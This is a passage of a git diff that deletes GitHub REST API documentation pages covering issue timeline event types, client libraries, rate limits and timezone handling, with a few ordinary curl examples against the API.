deployed. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for deployed - -{% data reusables.issue-events.issue-event-common-properties %} - -## deployment_environment_changed - -The pull request deployment environment was changed. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | - -{% endrowheaders %} - -### Properties for deployment_environment_changed - -{% data reusables.issue-events.issue-event-common-properties %} - -## disconnected - -The issue or pull request was unlinked from another issue or pull request. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue). - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for disconnected - -{% data reusables.issue-events.issue-event-common-properties %} - -## head_ref_deleted - -The pull request's `HEAD` branch was deleted. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for head_ref_deleted - -{% data reusables.issue-events.issue-event-common-properties %} - -## head_ref_restored - -The pull request's `HEAD` branch was restored to the last known commit. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -## head_ref_force_pushed - -The pull request's HEAD branch was force pushed. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for head_ref_force_pushed - -{% data reusables.issue-events.issue-event-common-properties %} - -## labeled - -A label was added to the issue or pull request. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for labeled - -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.label-properties %} - -## locked - -The issue or pull request was locked. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for locked - -{% data reusables.issue-events.issue-event-common-properties %} -`lock_reason` | `string` | The reason an issue or pull request conversation was locked, if one was provided. - -## mentioned - -The `actor` was `@mentioned` in an issue or pull request body. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for mentioned - -{% data reusables.issue-events.issue-event-common-properties %} - -## marked_as_duplicate - -A user with write permissions marked an issue as a duplicate of another issue, or a pull request as a duplicate of another pull request. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for marked_as_duplicate - -{% data reusables.issue-events.issue-event-common-properties %} - -## merged - -The pull request was merged. The `commit_id` attribute is the SHA1 of the `HEAD` commit that was merged. The `commit_repository` is always the same as the main repository. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for merged - -{% data reusables.issue-events.issue-event-common-properties %} - -## milestoned - -The issue or pull request was added to a milestone. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for milestoned - -{% data reusables.issue-events.issue-event-common-properties %} -`milestone` | `object` | The milestone object. -`milestone[title]` | `string` | The title of the milestone. - -## moved_columns_in_project - -The issue or pull request was moved between columns in a {% data variables.projects.projects_v1_board %}. {% data reusables.projects.disabled-projects %} - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for moved_columns_in_project - -{% data reusables.pre-release-program.starfox-preview %} -{% data reusables.pre-release-program.api-preview-warning %} - -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.project-card-properties %} -`previous_column_name` | `string` | The name of the column the issue was moved from. - -## pinned - -The issue was pinned. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for pinned - -{% data reusables.issue-events.issue-event-common-properties %} - -## ready_for_review - -A draft pull request was marked as ready for review. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for ready_for_review - -{% data reusables.issue-events.issue-event-common-properties %} - -## referenced - -The issue was referenced from a commit message. The `commit_id` attribute is the commit SHA1 of where that happened and the commit_repository is where that commit was pushed. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for referenced - -{% data reusables.issue-events.issue-event-common-properties %} - -## removed_from_project - -The issue or pull request was removed from a {% data variables.projects.projects_v1_board %}. {% data reusables.projects.disabled-projects %} - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for removed_from_project - -{% data reusables.pre-release-program.starfox-preview %} -{% data reusables.pre-release-program.api-preview-warning %} - -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.project-card-properties %} - -## renamed - -The issue or pull request title was changed. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for renamed - -{% data reusables.issue-events.issue-event-common-properties %} -`rename` | `object` | The name details. -`rename[from]` | `string` | The previous name. -`rename[to]` | `string` | The new name. - -## reopened - -The issue or pull request was reopened. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for reopened - -{% data reusables.issue-events.issue-event-common-properties %} - -## review_dismissed - -The pull request review was dismissed. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for review_dismissed - -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.review-dismissed-properties %} - -## review_requested - -A pull request review was requested. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for review_requested - -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.review-request-properties %} - -## review_request_removed - -A pull request review request was removed. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for review_request_removed - -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.review-request-properties %} - -## reviewed - -The pull request was reviewed. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Pull requests| {% octicon "x" aria-label="Not supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for reviewed - -{% data reusables.issue-events.timeline_events_object_properties %} - -Name | Type | Description ------|------|-------------- -`id` | `integer` | The unique identifier of the event. -`node_id` | `string` | The [Global Node ID](/graphql/guides/using-global-node-ids) of the event. -`user` | `object` | The person who commented on the issue. -`body` | `string` | The review summary text. -`commit_id` | `string` | The SHA of the latest commit in the pull request at the time of the review. -`submitted_at` | `string` | The timestamp indicating when the review was submitted. -`state` | `string` | The state of the submitted review. Can be one of: `commented`, `changes_requested`, `approved` or `dismissed`. -`html_url` | `string` | The HTML URL of the review. -`pull_request_url` | `string` | The REST API URL to retrieve the pull request. -`author_association` | `string` | The permissions the user has in the issue's repository. For example, the value would be `"OWNER"` if the owner of repository created a comment. -`_links` | `object` | The `html_url` and `pull_request_url`. -`event` | `string` | The event value is `"reviewed"`. - -## subscribed - -Someone subscribed to receive notifications for an issue or pull request. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for subscribed - -{% data reusables.issue-events.issue-event-common-properties %} - -## transferred - -The issue was transferred to another repository. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for transferred - -{% data reusables.issue-events.issue-event-common-properties %} - -## unassigned - -A user was unassigned from the issue. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for unassigned - -{% data reusables.issue-events.issue-event-common-properties %} -`assignee` | `object` | The person unassigned from this issue. -`assigner` | `object` | The person who performed the unassignment for this issue. This field is available in the REST API for issue events but not the REST API for timeline events. - -## unlabeled - -A label was removed from the issue. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for unlabeled - -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.label-properties %} - -## unlocked - -The issue was unlocked. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for unlocked - -{% data reusables.issue-events.issue-event-common-properties %} -`lock_reason` | `string` | The reason an issue or pull request conversation was locked, if one was provided. - -## unmarked_as_duplicate - -An issue that a user had previously marked as a duplicate of another issue is no longer considered a duplicate, or a pull request that a user had previously marked as a duplicate of another pull request is no longer considered a duplicate. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for unmarked_as_duplicate - -{% data reusables.issue-events.issue-event-common-properties %} - -## unpinned - -The issue was unpinned. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for unpinned - -{% data reusables.issue-events.issue-event-common-properties %} - -## unsubscribed - -Someone unsubscribed from receiving notifications for an issue or pull request. - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "x" aria-label="Not supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "x" aria-label="Not supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for unsubscribed - -{% data reusables.issue-events.issue-event-common-properties %} - -{% ifversion fpt or ghec %} - -## user_blocked - -An organization owner blocked a user from the organization. This was done [through one of the blocked user's comments on the issue](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization#blocking-a-user-in-a-comment). - -This event is available for the following issue types. - -{% rowheaders %} - -| | REST API for issue events | REST API for timeline events | -|---|---|---| -|Issues| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -|Pull requests| {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -### Properties for user_blocked - -{% data reusables.issue-events.issue-event-common-properties %} - -{% endif %} diff --git a/content/rest/using-the-rest-api/libraries-for-the-rest-api.md b/content/rest/using-the-rest-api/libraries-for-the-rest-api.md deleted file mode 100644 index d16e83d9eb94..000000000000 --- a/content/rest/using-the-rest-api/libraries-for-the-rest-api.md +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Libraries for the REST API -shortTitle: Libraries -intro: 'You can use the official Octokit libraries and other third-party libraries to extend and simplify how you use the {% data variables.product.company_short %} API.' -redirect_from: - - /libraries - - /v3/libraries - - /rest/overview/libraries - - /rest/overview/libraries-for-the-rest-api -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API ---- - -## About libraries - -You can use libraries to extend and simplify the way your application interacts with {% data variables.product.company_short %}'s API. Each library provides pre-built code for a specific programming language. After integrating a library into your project, you can use the pre-built code modules to interact with {% data variables.product.company_short %}'s API via a specific programming language. - -{% data variables.product.company_short %} maintains official Octokit libraries for some languages. There are also third-party libraries that you can use with {% data variables.product.company_short %}'s API, which are not maintained by {% data variables.product.company_short %}. - -## Official {% data variables.product.company_short %} libraries - -{% data variables.product.company_short %} maintains these official client libraries for the {% data variables.product.company_short %} API. These repositories are open source, and community contributions are welcome. - -For more information, see [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript) and [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-ruby). - -* JavaScript: [octokit.js](https://github.com/octokit/octokit.js) -* Ruby: [octokit.rb](https://github.com/octokit/octokit.rb) -* .NET: [octokit.net](https://github.com/octokit/octokit.net) -* Terraform: [terraform-provider-github](https://github.com/integrations/terraform-provider-github) - - - -## Third-party libraries - -The following are examples of third-party libraries that you can use to interact with the {% data variables.product.company_short %} API in various programming languages. - -These third-party libraries are not maintained by {% data variables.product.company_short %}. Libraries provided by third parties are governed by separate terms of service, privacy policy, and support documentation. - -### Clojure - -* Tentacles: [clj-commons/tentacles](https://github.com/clj-commons/tentacles) - -### Dart - -* github.dart: [SpinlockLabs/github.dart](https://github.com/SpinlockLabs/github.dart) - -### Emacs Lisp - -* gh.el: [sigma/gh.el](https://github.com/sigma/gh.el) - -### Go - -* go-github: [google/go-github](https://github.com/google/go-github) - -### Haskell - -* haskell-github: [haskell-github/github](https://github.com/fpco/github) - -### Java - -* GitHub API for Java, an object oriented representation of the GitHub API: [hub4j/github-api](https://hub4j.github.io/github-api/) -* JCabi GitHub API, based on Java7 JSON API (JSR-353), simplifies tests with a runtime GitHub stub, and covers the entire API: [github.jcabi.com (Personal Website)](https://github.jcabi.com) - -### JavaScript - -* NodeJS GitHub library: [pksunkara/octonode](https://github.com/pksunkara/octonode) -* Github.js wrapper around the GitHub API: [github-tools/github](https://github.com/github-tools/github) -* Promise-Based CoffeeScript library for the Browser or NodeJS: [philschatz/github-client](https://github.com/philschatz/github-client) - -### Julia - -* GitHub.jl: [JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl) - -### OCaml - -* ocaml-github: [mirage/ocaml-github](https://github.com/mirage/ocaml-github) - -### Perl - -* Pithub: [plu/Pithub](https://github.com/plu/Pithub) -* Net::GitHub: [fayland/perl-net-github](https://github.com/fayland/perl-net-github) - -### PHP - -* PHP GitHub API: [KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api) -* GitHub Joomla! Package: [joomla-framework/github-api](https://github.com/joomla-framework/github-api) -* GitHub bridge for Laravel: [GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub) - -### PowerShell - -* PowerShellForGitHub: [microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub) - -### Python - -* gidgethub: [gidgethub/gidgethub](https://github.com/gidgethub/gidgethub) -* ghapi: [fastai/ghapi](https://github.com/fastai/ghapi) -* PyGithub: [PyGithub/PyGithub](https://github.com/PyGithub/PyGithub) -* libsaas: [duckboard/libsaas](https://github.com/ducksboard/libsaas) -* github3.py: [sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py) -* agithub: [mozilla/agithub](https://github.com/mozilla/agithub) -* github-flask: [github-flask (Official Website)](http://github-flask.readthedocs.org) -* githubkit: [yanyongyu/githubkit](https://github.com/yanyongyu/githubkit) -* octokit.py: [khornberg/octokit.py](https://github.com/khornberg/octokit.py) - -### Ruby - -* GitHub API Gem: [piotrmurach/github](https://github.com/piotrmurach/github) - -### Rust - -* Octocrab: [XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab) -* Octocat: [octocat-rs/octocat-rs](https://github.com/octocat-rs/octocat-rs) - -### Scala - -* Github4s: [47deg/github4s](https://github.com/47deg/github4s) - -### Shell - -* ok.sh: [whiteinge/ok.sh](https://github.com/whiteinge/ok.sh) diff --git a/content/rest/using-the-rest-api/rate-limits-for-the-rest-api.md b/content/rest/using-the-rest-api/rate-limits-for-the-rest-api.md deleted file mode 100644 index 4c3184707d36..000000000000 --- a/content/rest/using-the-rest-api/rate-limits-for-the-rest-api.md +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Rate limits for the REST API -shortTitle: Rate limits -intro: 'Learn about REST API rate limits, how to avoid exceeding them, and what to do if you do exceed them.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -redirect_from: - - /rest/overview/rate-limits-for-the-rest-api ---- - -{% ifversion ghes %} - -Rate limits are disabled by default for {% data variables.product.prodname_ghe_server %}. Contact your site administrator to confirm the rate limits for your instance. - -If you are a site administrator, you can set rate limits, including secondary rate limits, for your instance. See [AUTOTITLE](/admin/configuration/configuring-user-applications-for-your-enterprise/configuring-rate-limits). - -If you are developing an app for users or organizations outside of your instance, the standard {% data variables.product.github %} rate limits apply. See [AUTOTITLE](/free-pro-team@latest/rest/overview/rate-limits-for-the-rest-api) in the {% data variables.product.prodname_free_user %} documentation. - -## About secondary rate limits - -{% data reusables.rest-api.secondary-rate-limit-rest-graphql %} - -{% else %} - -## About primary rate limits - -{% data variables.product.company_short %} limits the number of REST API requests that you can make within a specific amount of time. This limit helps prevent abuse and denial-of-service attacks, and ensures that the API remains available for all users. - -Some endpoints, like the search endpoints, have more restrictive limits. For more information about these endpoints, see [AUTOTITLE](/rest/rate-limit/rate-limit). The GraphQL API also has a separate primary rate limit. See [AUTOTITLE](/graphql/overview/resource-limitations). - -{% data reusables.organizations.api-insights-learn-about %} - -In general, you can calculate your primary rate limit for the REST API based on your method of authentication, as described below. - -### Primary rate limit for unauthenticated users - -You can make unauthenticated requests if you are only fetching public data. Unauthenticated requests are associated with the originating IP address, not with the user or application that made the request. - -The primary rate limit for unauthenticated requests is 60 requests per hour. - -### Primary rate limit for authenticated users - -You can use a {% data variables.product.pat_generic %} to make API requests. Additionally, you can authorize a {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %}, which can then make API requests on your behalf. - -All of these requests count towards your personal rate limit of 5,000 requests per hour. {% ifversion fpt or ghec %}Requests made on your behalf by a {% data variables.product.prodname_github_app %} that is owned by a {% data variables.product.prodname_ghe_cloud %} organization have a higher rate limit of 15,000 requests per hour. Similarly, requests made on your behalf by a {% data variables.product.prodname_oauth_app %} that is owned or approved by a {% data variables.product.prodname_ghe_cloud %} organization have a higher rate limit of 15,000 requests per hour if you are a member of the {% data variables.product.prodname_ghe_cloud %} organization.{% endif %} - -### Primary rate limit for {% data variables.product.prodname_github_app %} installations - -{% data variables.product.prodname_github_apps %} authenticating with an installation access token use the installation's minimum rate limit of 5,000 requests per hour. If the installation is on a {% data variables.product.prodname_ghe_cloud %} organization, the installation has a rate limit of 15,000 requests per hour. - -For installations that are not on a {% data variables.product.prodname_ghe_cloud %} organization, the rate limit for the installation will scale with the number of users and repositories. Installations that have more than 20 repositories receive another 50 requests per hour for each repository. Installations that are on an organization that have more than 20 users receive another 50 requests per hour for each user. The rate limit cannot increase beyond 12,500 requests per hour. - -Primary rate limits for {% data variables.product.prodname_github_app %} user access tokens (as opposed to installation access tokens) are dictated by the primary rate limits for the authenticated user. This rate limit is combined with any requests that another {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %} makes on that user's behalf and any requests that the user makes with a {% data variables.product.pat_generic %}. See [Primary rate limit for authenticated users](#primary-rate-limit-for-authenticated-users). - -### Primary rate limit for {% data variables.product.prodname_oauth_apps %} - -Primary rate limits for OAuth access tokens generated by a {% data variables.product.prodname_oauth_app %} are dictated by the primary rate limits for authenticated users. This rate limit is combined with any requests that another {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %} makes on that user's behalf and any requests that the user makes with a {% data variables.product.pat_generic %}. See [Primary rate limit for authenticated users](#primary-rate-limit-for-authenticated-users). - -OAuth apps can also use their client ID and client secret to fetch public data. For example: - -```shell -curl -u YOUR_CLIENT_ID:YOUR_CLIENT_SECRET -I {% data variables.product.rest_url %}/meta -``` - -For these requests, the rate limit is 5,000 requests per hour per {% data variables.product.prodname_oauth_app %}. If the app is owned by a {% data variables.product.prodname_ghe_cloud %} organization, the rate limit is 15,000 requests per hour. - -> [!NOTE] -> Never include your app's client secret in client-side code or in code that runs on a user device. The client secret can be used to generate OAuth access tokens for users who have authorized your app, so you should always keep the client secret secure. - -### Primary rate limit for `GITHUB_TOKEN` in {% data variables.product.prodname_actions %} - -You can use the built-in `GITHUB_TOKEN` to authenticate requests in {% data variables.product.prodname_actions %} workflows. See [AUTOTITLE](/actions/security-guides/automatic-token-authentication). - -The rate limit for `GITHUB_TOKEN` is 1,000 requests per hour per repository.{% ifversion fpt or ghec %} For requests to resources that belong to a {% data variables.product.prodname_ghe_cloud %} account, the limit is 15,000 requests per hour per repository.{% endif %} - -## About secondary rate limits - -{% data reusables.rest-api.secondary-rate-limit-rest-graphql %} - -## Checking the status of your rate limit - -You can use the headers that are sent with each response to determine the current status of your primary rate limit. - -Header name | Description ------------|-----------| -`x-ratelimit-limit` | The maximum number of requests that you can make per hour -`x-ratelimit-remaining` | The number of requests remaining in the current rate limit window -`x-ratelimit-used` | The number of requests you have made in the current rate limit window -`x-ratelimit-reset` | The time at which the current rate limit window resets, in UTC epoch seconds -`x-ratelimit-resource` | The rate limit resource that the request counted against. For more information about the different resources, see [AUTOTITLE](/rest/rate-limit/rate-limit#get-rate-limit-status-for-the-authenticated-user). - -You can also call the `GET /rate_limit` endpoint to check your rate limit. Calling this endpoint does not count against your primary rate limit, but it can count against your secondary rate limit. See [AUTOTITLE](/rest/rate-limit/rate-limit). When possible, you should use the rate limit response headers instead of calling the API to check your rate limit. - -There is not a way to check the status of your secondary rate limit. - -## Exceeding the rate limit - -If you exceed your primary rate limit, you will receive a `403` or `429` response, and the `x-ratelimit-remaining` header will be `0`. You should not retry your request until after the time specified by the `x-ratelimit-reset` header. - -If you exceed a secondary rate limit, you will receive a `403` or `429` response and an error message that indicates that you exceeded a secondary rate limit. If the `retry-after` response header is present, you should not retry your request until after that many seconds has elapsed. If the `x-ratelimit-remaining` header is `0`, you should not retry your request until after the time, in UTC epoch seconds, specified by the `x-ratelimit-reset` header. Otherwise, wait for at least one minute before retrying. If your request continues to fail due to a secondary rate limit, wait for an exponentially increasing amount of time between retries, and throw an error after a specific number of retries. - -Continuing to make requests while you are rate limited may result in the banning of your integration. - -## Staying under the rate limit - -You should follow best practices to help you stay under the rate limits. See [AUTOTITLE](/rest/guides/best-practices-for-using-the-rest-api). - -{% ifversion ghec or ghes %} - -You can also stream the audit log in order to view API requests. This can help you troubleshoot integrations that are exceeding the rate limit. See [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). - -{% endif %} - -## Getting a higher rate limit - -If you want a higher primary rate limit, consider making authenticated requests instead of unauthenticated requests. Authenticated requests have a significantly higher rate limit than unauthenticated requests. - -If you are using a {% data variables.product.pat_generic %} for automation in your organization, consider whether a {% data variables.product.prodname_github_app %} will work instead.{% ifversion fpt %} The rate limit for {% data variables.product.prodname_github_apps %} using an installation access token scales with the number of repositories and number of organization users.{% endif %}{% ifversion ghec %} {% data variables.product.prodname_github_apps %} used by {% data variables.product.prodname_ghe_cloud %} accounts have a higher rate limit than {% data variables.product.pat_generic_plural %}.{% endif %} See [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps). - -{% ifversion fpt %} - -If you are using {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, consider upgrading to {% data variables.product.prodname_ghe_cloud %}. {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %} have higher rate limits for organizations that use {% data variables.product.prodname_ghe_cloud %}. - -{% endif %} - -{% endif %} diff --git a/content/rest/using-the-rest-api/timezones-and-the-rest-api.md b/content/rest/using-the-rest-api/timezones-and-the-rest-api.md deleted file mode 100644 index 1c84f2625a7e..000000000000 --- a/content/rest/using-the-rest-api/timezones-and-the-rest-api.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Timezones and the REST API -shortTitle: Timezones -intro: 'Some REST API endpoints allow you to specify timezone information with your request.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API ---- - -Some requests that create new data, such as creating a new commit, allow you to provide timezone information when specifying or generating timestamps. - -Note that these rules apply only to data passed to the API, not to data returned by the API. Timestamps returned by the API are in UTC time, ISO 8601 format. - -## Determining the timezone for a request - -To determine timezone information for applicable API calls, we apply these rules in order of priority: - -1. [Explicitly providing an ISO 8601 timestamp with timezone information](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information) -1. [Using the `Time-Zone` header](#using-the-time-zone-header) -1. [Using the last known timezone for the user](#using-the-last-known-timezone-for-the-user) -1. [Defaulting to UTC without other timezone information](#defaulting-to-utc-without-other-timezone-information) - -### Explicitly providing an ISO 8601 timestamp with timezone information - -For API calls that allow for a timestamp to be specified, we use that exact timestamp. These timestamps look something like `2014-02-27T15:05:06+01:00`. - -An example of this is the API to manage commits. For more information, see [AUTOTITLE](/rest/git/commits#create-a-commit). - -### Using the `Time-Zone` header - -It is possible to supply a `Time-Zone` header, which defines a timezone according to the [list of names from the Olson database](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones). - -```shell -curl -H "Time-Zone: Europe/Amsterdam" -X POST {% data variables.product.rest_url %}/repos/github-linguist/linguist/contents/new_file.md -``` - -This means that we generate a timestamp for the moment your API call is made, in the timezone this header defines. - -For example, the API to manage contents generates a git commit for each addition or change, and it uses the current time as the timestamp. For more information, see [AUTOTITLE](/rest/repos/contents). The `Time-Zone` header will determine the timezone used for generating that current timestamp. - -### Using the last known timezone for the user - -If no `Time-Zone` header is specified and you make an authenticated call to the API, we use the last known timezone for the authenticated user. The last known timezone is updated whenever you browse the {% data variables.product.github %} website. - -### Defaulting to UTC without other 